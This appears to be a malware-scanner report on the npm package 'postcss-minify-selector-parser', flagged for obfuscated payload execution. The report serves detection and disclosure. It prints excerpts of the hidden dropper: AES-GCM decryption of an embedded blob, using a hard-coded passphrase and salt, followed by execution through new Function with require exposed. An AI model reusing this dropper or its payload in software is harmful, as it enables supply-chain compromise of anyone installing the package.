Hostile 100% javascript Download

postcss-minify-selector-parser v1.0.13

Obfuscated payload execution via new Function

Exported codec chain executes decoded payloadNode codec chain require eval dropper
SHA-25621d13af7d07486ed8ee9fd2e47597454af29c46836e04f65ed8eb57b1f609c51

Evidence

Function constructor exposes require to code custom-codec-pipeline.js · lines 25–56
⋯5 lines
30function customDecode(aesEncodedInput, config = {}) {
31 const resolved = resolveConfig(config);
32 const aesDecoded = decryptAesGcm(aesEncodedInput, resolved.passphrase, resolved.salt);
33 const decodedDouble = decodeCodec(aesDecoded, resolved.codecOptions);
34 const decodedPosition = decodePosition(decodedDouble, resolved.positionOptions);
35
36 return {
⋯8 lines
45 const decoded = customDecode(aesEncodedInput, config);
46 const runnable = String(decoded.decodedPlainText);
47 new Function("require", runnable)(require);
48 return runnable;
49}
⋯7 lines
Function whose name contains Decode custom-codec-pipeline.js · lines 56–95
⋯28 lines
84}
85
86module.exports = {
87 customEncode,
88 customDecode,
⋯7 lines
Path has long Base64-like segment defaults.js · lines 4–26
⋯11 lines
15const DEFAULT_AES_SALT = "encode-npm-c-salt";
16const DEFAULT_AES_PASSPHRASE = "default-dev-passphrase";
17const DEFAULT_FINAL_ENCODED_TEXT =
18 "27qzwJs+Dx5PIUaZ:VrsDUUVx7TK0EqLGBTSTEA==:ADzi7rGshQfNHhwD50cWvsCwV+y5BOGeSt6YaAPcQxNbM8JWrGwDti9r/H5HeVOnzB4cBPB6I7hL6d7awNjpeH9hn1uNmq6kOxthDEN2jKykNH7SG66ADLhgTIbTniUx4WIyHStFT/nXdW93p09RZ6nVWBObFCD7W6E/jImB0Nc4BQQBZab1OmileMrwWbtqL8x4pkPIxXLoAxHrOPk8PtYWQpwti5qnQUqUeDU+US1v3RzqtwE3QQRrdOM5QasAwO14sU4Sag336GbpA6sTZIAmgMA=";
19
20module.exports = {
21 DEFAULT_POSITION_OPTIONS,
22 DEFAULT_CODEC_OPTIONS,
⋯4 lines
Node memory hard KDF aes-gcm.js · lines 1–19
1const crypto = require("node:crypto");
2const { DEFAULT_AES_SALT } = require("../config/defaults");
3
4function deriveKey(passphrase, salt = DEFAULT_AES_SALT) {
5 return crypto.scryptSync(passphrase, salt, 32);
6}
7
8function encryptAesGcm(plain, passphrase, salt = DEFAULT_AES_SALT) {
9 const iv = crypto.randomBytes(12);
10 const key = deriveKey(passphrase, salt);
11 const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
12 const encrypted = Buffer.concat([cipher.update(plain, "utf8"), cipher.final()]);
13 const tag = cipher.getAuthTag();
14 return `${iv.toString("base64")}:${tag.toString("base64")}:${encrypted.toString("base64")}`;
15}
16
17function decryptAesGcm(payload, passphrase, salt = DEFAULT_AES_SALT) {
18 const [ivB64, tagB64, dataB64] = String(payload).split(":");
19 if (!ivB64 || ! …
Creates decipher with initialization vector aes-gcm.js · lines 20–36
20:39… ad format. Expected iv:tag:data in base64.");
21 }
22
23 const iv = Buffer.from(ivB64, "base64");
24 const tag = Buffer.from(tagB64, "base64");
25 const data = Buffer.from(dataB64, "base64");
26 const key = deriveKey(passphrase, salt);
27 const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
28 decipher.setAuthTag(tag);
29 const decrypted = Buffer.concat([decipher.update(data), decipher.final()]);
30 return decrypted.toString("utf8");
31}
32
33module.exports = {
34 encryptAesGcm,
35 decryptAesGcm,
36};

Showing the top 5 files — 3 more files (7 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.